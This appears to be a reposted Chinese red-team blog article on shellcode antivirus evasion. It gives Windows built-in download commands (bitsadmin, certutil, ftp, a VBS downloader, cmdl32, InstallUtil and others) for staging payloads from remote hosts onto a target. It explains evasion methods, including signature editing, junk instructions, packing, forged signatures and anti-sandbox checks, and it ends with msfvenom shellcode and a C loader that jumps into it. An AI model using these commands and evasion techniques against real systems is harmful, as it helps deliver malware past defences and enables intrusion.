红队系列-shellcode AV evasion免杀合集

2024-03-02 03:50

本文主要是介绍红队系列-shellcode AV evasion免杀合集,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述

shellcode免杀

  • 文件落地
    • Bitsadmin
    • Certutil
    • FTP
    • cscript
    • cmdl32
    • Mspub.exe
    • ConfigSecurityPolicy.exe
    • Installutil
    • Presentationhost.exe
    • Xwizard.exe
  • 图标PDF的LNK恶意文件
  • LNK恶意文件调用CMD程序生成执行BAT脚本,并创建计划任务
  • 解码生成的BAT脚本,从远程服务器上下载生成恶意JS脚本,并删除之前创建的计划任务
  • 概念了解
    • AV检测方式
      • 静态扫描引擎
        • 特征码扫描识别
        • 文件效验和法
        • 静态免杀
    • 监控
      • 进程行为检测(沙盒模式)VT
    • 云查杀
    • 行为动态主动防御
    • shellcode
    • 加载器
      • 嵌入汇编加载 x86 x64 肯定x86
    • 动态内存加载
    • 指针执行
    • C++
    • 强制类型转换
    • 汇编花指令
    • 执行器
      • 经典Dll注入
    • 远程线程注入
    • 资源加载shellcode
    • APC 异步过程调用 注入
  • 绕过查杀思路/技术
    • 分类
      • 静态免杀
        • 找特征码
        • 针对有源码手工查找
        • 免杀工具
          • 手工修改
            • 非源码
            • 源码
        • 盲杀
          • 工具免杀(盲免杀)
          • 资源操作
        • PE操作
        • 注意/技巧
      • 行为免杀
    • 修改特征
    • 花指令免杀
    • 加壳免杀
      • c++ stub DLL壳
  • 内存扫描免杀=》卡巴斯基
  • 分离免杀
    • 远程加载
  • 加密
    • AES加密
  • 编码
    • XOR异或
    • hex编码
    • 资源修改
    • 白名单免杀
    • 扰乱分析
      • SysWhispers
  • 游击战术反复横跳=》进程触发win异常
  • 反沙箱
    • 进程数量
    • 运行时间
    • 计算机名和用户名
  • 免杀方式统计
  • 参考链接
  • EDR产品一览
    • 国内
      • 360全家桶
        • 360核晶引擎
      • 火绒
      • 腾讯电脑管家
      • 安全狗
      • 金山毒霸
      • 瑞星
    • 国外
      • Windwos Defener
      • Kaspersky 卡巴斯基
      • ESET Nod32
      • Norton
      • McAfee
      • AVAST
      • AVG
      • 科摩多
      • 火眼
      • 诺顿
      • Symantec
      • 小红伞
  • 恶意代码分析实战shellcode分析
  • 参考文章
    • 伪装成花旗银行对帐单的窃密攻击活动

文件落地

先将文件传输到目标,
用到一些命令行中的下载命令如BITSAdmin、Certutil、HH等

Bitsadmin


BITSAdmin 是一个命令行工具,用于创建下载或上传作业并监视作业的进度。
where Bitsadmin
C:\Windows\System32\bitsadmin.exe支持系统 WindowsServer 2022、
WindowsServer 2019、
Windows Server 2016、
Windows Server 2012、
Windows 10、Windows7bitsadmin /transfer myDownLoadJob /download /priority normal "http://url/a.ps1" "c:\b.ps1"
bitsadmin /rawreturn /transfer getfile http://url/s.zip c:\s1.zip
bitsadmin /rawreturn /transfer getpayload http://url/c.zip c:\c1.zip

Certutil

certutil是Windows自带的证书管理工具,
具有下载文件,校验文件MD5、SHA1、SHA256,文件base64编码等功能。where certutil
C:\Windows\System32\certutil.exe支持系统:  windows保存文件并指定新文件名
certutil.exe -urlcache -split -f http://url/1.txt file.jsp
注:使用下载,会在工具缓存目录产生缓存文件缓存路径
C:\Users\xq\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
查看缓存项目:certutil.exe -urlcache *

FTP

将文件传输到运行文件传输协议的计算机 (ftp) 服务器服务。
可以通过处理 ASCII 文本文件以交互方式或在批处理模式下使用此命令。

文件路径:

C:\Windows\System32\ftp.exe

支持系统: windows

用法:

cmd无交互


echo open 192.168.225.79>ftp.txt
echo user>>ftp.txt
echo pass>>ftp.txt
echo get /sd.exe>>ftp.txt
echo quit>>ftp.txt@ftp -s:ftp.txt
VBS脚本

cscript

在windows中还支持一种VBS后缀脚本语言,可看作VB语言的简化版
文件路径:

C:\Windows\System32

支持系统: windows

用法:

cmd无交互echo Set Post = CreateObject("Msxml2.XMLHTTP") >> download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >> download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >> download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >> download.vbs
echo aGet.Mode = 3 >> download.vbs
echo aGet.Type = 1 >> download.vbs
echo aGet.Open() >> download.vbs
echo aGet.Write(Post.responseBody) >> download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >> download.vbs#执行
cscript downfile.vbs

cmdl32

Microsoft 连接管理器自动下载。

文件路径:

where cmdl32.exe
C:\Windows\System32\cmdl32.exe

支持系统:

WindowsVista、
Windows7、
Windows8、
Windows8.1、
Windows10、
Windows11

从配置文件中指定的网址下载文件。下载的文件将位于名称 VPNXXXX.tmp 下的 %TMP% 中

用法:
创建文本 1.txt[Connection Manager]
CMSFile=1.txt
ServiceName=WindowsUpdate
TunnelFile=1.txt
[Settings]
UpdateUrl=http://192.168.3.114:81/test.txt#赋予权限,设置缓存位置,并下载
icacls %cd% /deny %Username%:(OI)(CI)(DE,DC)
set tmp=%cd%
cmdl32 /vpn /lan %cd%\1.txt#删除权限,否则无法操作文件
icacls %cd% /remove:d %username%TMP文件

Mspub.exe

mspub.exe是属于Microsoft Publisher产品的主要流程,允许制作商业和个人时事通讯和出版物。包含在office套件中。
文件路径:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
C:\Program Files\Microsoft Office\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
C:\Program Files\Microsoft Office\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
C:\Program Files\Microsoft Office\Office14\MSPUB.exeC:\Program Files (x86)\Microsoft Office\Office
C:\Users\amingMM\AppData\Local\Microsoft\WindowsApps\mspub.exe

支持系统:

Windows 10、
Windows 11

该命令将下载远程文件并放入缓存文件夹%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE
Loacl/Microsoft用法:该方法依赖offce套件,执行后将会打开publisher应用窗口。从远程服务器下载负载mspub.exe https://example.com/aaaa

在这里插入图片描述

ConfigSecurityPolicy.exe

Defender文件,用于管理Windows Defender中的设置。

文件路径:

C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe

支持系统:
Windows 10、
Windows 11

用法:

该命令将下载远程文件并放入缓存文件夹 win10:

%LOCALAPPDATA%\Microsoft\Windows\INetCache\IEConfigSecurityPolicy.exe https://example.com/aaaa

Installutil

是一个命令行实用程序,允许通过在指定程序集中执行安装程序组件来安装和卸载。
此工具与System.Configuration.Install命名空间中的类一起工作。

文件路径:

C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe 
C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727
C:\Windows\Microsoft.NET\Framework\v4.0.30319

支持系统:

Windows vista、
Windows 7、
Windows 8、
Windows 8.1、
Windows 10、
Windows 11

用法:

该命令将下载远程文件并放入缓存文件夹

win10:%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
win7:%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
InstallUtil.exe https://www.baidu.com/img/flexible/logo/pc/result.png

Presentationhost.exe

它使 WPF 应用程序可承载于兼容的浏览器,用于运行XAML浏览器应用程序 .
文件路径:

C:\Windows\System32\Presentationhost.exeC:\Windows\SysWOW64\Presentationhost.exeC:\Windows\System32\PresentationHost.exe

支持系统:
Windows vista、
Windows 7、
Windows 8、
Windows 8.1、
Windows 10、
Windows 11

用法:

该方法是调用IE浏览器下载,会弹出ie窗口及文件保存窗口,此时无需保存,文件已存在缓存目录内

该命令将下载远程文件并放入缓存文件夹win10:%LOCALAPPDATA%\Microsoft\Windows\INetCache\IEwin7:%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
Presentationhost.exe https://www.baidu.com/img/flexible/logo/pc/result.png

Xwizard.exe

执行已添加到注册表的自定义类或使用Xwizard.exe下载

文件路径:

C:\Windows\System32\xwizard.exe 

支持系统:

Windows vista,
Windows 7,
Windows 8,
Windows 8.1,
Windows 10,
Windows 11

用法:

使用该方法时,会弹出错误警告窗口。但文件已经存入ie缓存目录Xwizard.exe使用RemoteApp和桌面连接向导下载文件,并将其保存到%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>
或 
%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Filesxwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z 
https://www.baidu.com/img/flexible/logo/pc/result.png

图标PDF的LNK恶意文件

LNK恶意文件调用CMD程序生成执行BAT脚本,并创建计划任务

解码生成的BAT脚本,从远程服务器上下载生成恶意JS脚本,并删除之前创建的计划任务

概念了解

免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,
英文为Anti-AntiVirus(简写Virus AV),
逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。

反病毒安全软件 anti-virus security software
反病毒(AntiVirus)
反间谍(AntiSpyware)
英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
也就是我们常说的bypass AV

AV检测方式

静态扫描引擎

对压缩文件进行分析检查
保护程序避免被恶意程序修改窜改
对恶意程序所破坏的文件还原
扫描常用磁盘,系统关键位置
扫描电脑全盘文件
保护电脑不受勒索软件的攻击
电脑开机时自动扫描

特征码扫描识别

扫描信息与一直更新的病毒数据库进行对比,
信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染。

挑选文件内部的一段或者几段代码来作为他识别病毒的方式,这种代码就叫做病毒的特征码;

在病毒样本中,抽取特征代码;抽取的代码比较特殊,不大可能与普通正常程序代码吻合;抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面保证病毒扫描时候不要有太大的空间与时间的开销。

文件特征码:对付病毒在文件中的存在方式:单一文件特征码、复合文件特征码(通过多处特征进行判断);
内存特征码:对付病毒在内存中的存在方式:单一内存特征码、复合内存特征码优点:速度快,配备高性能的扫描引擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。

文件效验和法

对文件进行扫描后,可以将正常文件的内容,计算其校验和,将该校验和写入文件中或写入别的文件中保存;在文件使用过程中,定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,因而可以发现文件是否感染病毒。

静态免杀

## 免杀工具
常用的修改工具有,OD,C32ASM,UE,010Editor等等### 手工修改
#### 非源码
1. 数据如果特征码定位到`数据`(通过IDA/OD等确认),
其实不好修改,稍微不慎就会导致程序不能运行,
或者影响程序运行流程或结果。`字符串`,如果不影响程序逻辑,可以替换大小写;
如果无关紧要的数据,随意替换;等等,看情况而定。`整数`,如果不影响结果,替换值,清零等等操作。`地址`,基本应该不能修改,具体看情况。`PE头数据`,根据PE结构具体来看,无用数据清零或修改,有用数据看情况修改。最后,终极修改方法,找到访问数据的代码,
直接修改代码访问数据的地址,数据也可以放到其他地址了,
其实就如`同修改源码`一样修改,肯定没有修改源码那么容易(见后)。反正特征码定位到数据位置不容易修改(可以再试试后面的盲免杀)。2. 代码如果特征码定位到代码(也通过IDA/OD等确认),在不改变程序功能基础上,应用各种方法修改。`等价替换`汇编代码,
如mov eax,0可以换成xor eax,eax,直接结果相同,二进制代码不同。`交换代码顺序`,在不影响逻辑的情况下。`代码块移位`,将代码块移动不用的内存位置,
通过加入jmp addr跳过去执行,addr是新的代码块地址。#### 源码
在有源码的情况下,修改的方式就更灵活了,更简单了。如果特征码是数据,那么`修改数据位置``访问数据的代码位置`等(思想类比非源码方式)。加`花指令`,这是最有效也是最常用的方式,要点在于如何加hua指令。加`数据计算代码`,加减乘除各类组合。加`字符串操作代码`,增加、删除、查找、替换等。加`多层跳转`,跳转间加`无效指令`(不会执行的)。加貌似`有效的API调用`,如LoadLibrary+GetProcAddr+API等。# 盲杀
## 工具免杀(盲免杀)
在没找到有效的特征码,或者不好修改的时候,可以试试这种方式。### 资源操作
1. 加资源使用ResHacker对文件进行资源操作,
找来多个正常软件,将它们的资源加入到自己软件,
如图片,版本信息,对话框等。2. 替换资源使用ResHacker替换无用的资源(Version等)。3. 加签名使用签名伪造工具,将正常软件的签名信息加入到自己软件中。几种方式可以交替重复多次进行组合使用。### PE操作
1. PE优化使用PE优化工具对文件进行优化,删除0,PE头优化,附加数据等。2. 增加节增加节数据,随意加入无效数据。### 加壳
可以将加壳简单理解为:解密器/解压器+加密器/压缩器(原始代码)。通过加密器/压缩器将原始代码进行加密压缩,
让其特征码变化隐藏,
然后组装上解密器/解压器到文件中,运行是先运行解密/解压器,
将加密压缩内容解密解压,然后继续运行原始代码。1. 加冷门壳壳也有特征,知名壳都已经被分析的非常多了,杀软基本都能查这类壳,或者自动脱壳,然后进行查杀。所以加冷门壳,壳特征未被分析,不能自动脱壳,可以更好隐藏原始代码,得到免杀效果。2. 加壳改壳将常用壳进行修改,让壳特征变化,也可以让杀软失效。比如修改入口,区段信息修改,入口代码移位。可以类比为免杀壳。# 注意/技巧
非源码修改时,通过OD能够更好的完成,配合IDA进行观察。源码免杀加花,要灵活多变,不拘于形式。行为免杀多尝试,猜出杀软拦截策略,能够更有效的找到绕过方式。我们不做坏事,但是可以了解做坏事的手段,更好的破坏防御这些手段。

监控

内存监控:当发现内存中存在病毒的时候,就会主动报警;监控所有进程;监控读取到内存中的文件;监控读取到内存的网络数据。
文件监控:当发现写到磁盘上的文件中存在病毒,或者是被病毒感染,就会主动报警
邮件监控:当发现电子邮件的附件存在病毒时进行拦截。office钓鱼 宏病毒 这种
网页防护:阻止网络攻击和不安全下载。mshta js脚本
行为防护:提醒用户可疑的应用程序行为。低危 和中

进程行为检测(沙盒模式)VT

行为检测通过hook关键api,以及对各个高危的文件、组件做监控防止恶意程序对系统修改。

只要恶意程序对注册表、启动项、系统文件等做操作就会触发告警。

最后,行为检测也被应用到了沙箱做为动态检测,对于避免沙箱检测的办法有如下几个:

延时执行,部分沙箱存在运行时间限制
沙箱检测,对诸如硬盘容量、内存、虚拟机特征做检测
部分沙箱会对文件重命名,可以检测自身文件名是否被更改

云查杀

病毒库由客户端移至服务端
客户端提取特征上传,在云端检测到对应特征所标明的是否病毒状态,并返回
客户端上传特征,在云端无法检测到,则上传文件,文件通过杀软系统进行评判,得出总评分,对于无结果的,进行鉴定系统评分,总共得出结果返回给用户,并入云端库
云查杀的特点基本也可以概括为特征查杀。

行为动态主动防御

杀毒软件现在都会有主防的功能,对恶意行为进行拦截提示。
主动防御并不需要病毒特征码支持,只要杀毒软件能分析并扫描到目标程序的行为,并根据预先设定的规则,判定是否应该进行清除操作

比如这些行为:

注册表操作,添加启动项,添加服务

文件写入、读系统文件、删除文件,移动文件

杀进程,创建进程

注入、劫持等
参考360的主动防御

行为拦截原理
恶意行为都是通过API调用来完成的,可能是一个API,可能是多个APi组合。

杀软通过技术手段拦截这些API调用,通过策略来判断是否属于恶意行为。

关键点:API策略(顺序,调用源,参数等等)

shellcode

是一小段代码,用于利用软件漏洞作为有效载荷。

它通常启动一个命令shell,攻击者可以从这个shell控制受损的计算机,

执行类似任务的任何代码都可以被称为shellcode。

因为有效载荷(payload)的功能不仅限于生成shell
简单来说:shellcode就是汇编,16进制
例如,CS可以直接生成各种格式的shellcode
在这里插入图片描述


测试样例// msfvenom -p windows/exec CMD=calc.exe -f c"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

加载器

嵌入汇编加载 x86 x64 肯定x86

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口unsigned char shellcode[] = "你的shellcode";
void main()
{__asm{mov eax, offset shellcodejmp eax}
}

在这里插入图片描述

这篇关于红队系列-shellcode AV evasion免杀合集的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/764818

相关文章

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

科研绘图系列:R语言扩展物种堆积图(Extended Stacked Barplot)

介绍 R语言的扩展物种堆积图是一种数据可视化工具,它不仅展示了物种的堆积结果,还整合了不同样本分组之间的差异性分析结果。这种图形表示方法能够直观地比较不同物种在各个分组中的显著性差异,为研究者提供了一种有效的数据解读方式。 加载R包 knitr::opts_chunk$set(warning = F, message = F)library(tidyverse)library(phyl

【生成模型系列(初级)】嵌入(Embedding)方程——自然语言处理的数学灵魂【通俗理解】

【通俗理解】嵌入(Embedding)方程——自然语言处理的数学灵魂 关键词提炼 #嵌入方程 #自然语言处理 #词向量 #机器学习 #神经网络 #向量空间模型 #Siri #Google翻译 #AlexNet 第一节:嵌入方程的类比与核心概念【尽可能通俗】 嵌入方程可以被看作是自然语言处理中的“翻译机”,它将文本中的单词或短语转换成计算机能够理解的数学形式,即向量。 正如翻译机将一种语言

flume系列之:查看flume系统日志、查看统计flume日志类型、查看flume日志

遍历指定目录下多个文件查找指定内容 服务器系统日志会记录flume相关日志 cat /var/log/messages |grep -i oom 查找系统日志中关于flume的指定日志 import osdef search_string_in_files(directory, search_string):count = 0

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

GPT系列之:GPT-1,GPT-2,GPT-3详细解读

一、GPT1 论文:Improving Language Understanding by Generative Pre-Training 链接:https://cdn.openai.com/research-covers/languageunsupervised/language_understanding_paper.pdf 启发点:生成loss和微调loss同时作用,让下游任务来适应预训

C++语法知识点合集:11.模板

文章目录 一、非类型模板参数1.非类型模板参数的基本形式2.指针作为非类型模板参数3.引用作为非类型模板参数4.非类型模板参数的限制和陷阱:5.几个问题 二、模板的特化1.概念2.函数模板特化3.类模板特化(1)全特化(2)偏特化(3)类模板特化应用示例 三、模板分离编译1.概念2.模板的分离编译 模版总结 一、非类型模板参数 模板参数分类类型形参与非类型形参 非类型模板

Java基础回顾系列-第七天-高级编程之IO

Java基础回顾系列-第七天-高级编程之IO 文件操作字节流与字符流OutputStream字节输出流FileOutputStream InputStream字节输入流FileInputStream Writer字符输出流FileWriter Reader字符输入流字节流与字符流的区别转换流InputStreamReaderOutputStreamWriter 文件复制 字符编码内存操作流(

Java基础回顾系列-第五天-高级编程之API类库

Java基础回顾系列-第五天-高级编程之API类库 Java基础类库StringBufferStringBuilderStringCharSequence接口AutoCloseable接口RuntimeSystemCleaner对象克隆 数字操作类Math数学计算类Random随机数生成类BigInteger/BigDecimal大数字操作类 日期操作类DateSimpleDateForma